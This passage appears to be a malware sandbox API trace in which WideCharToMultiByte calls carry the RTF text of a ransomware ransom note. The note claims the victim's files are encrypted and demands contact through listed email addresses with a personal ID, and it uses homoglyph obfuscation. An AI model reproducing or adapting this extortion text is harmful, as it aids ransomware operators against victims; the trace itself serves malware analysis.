ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n 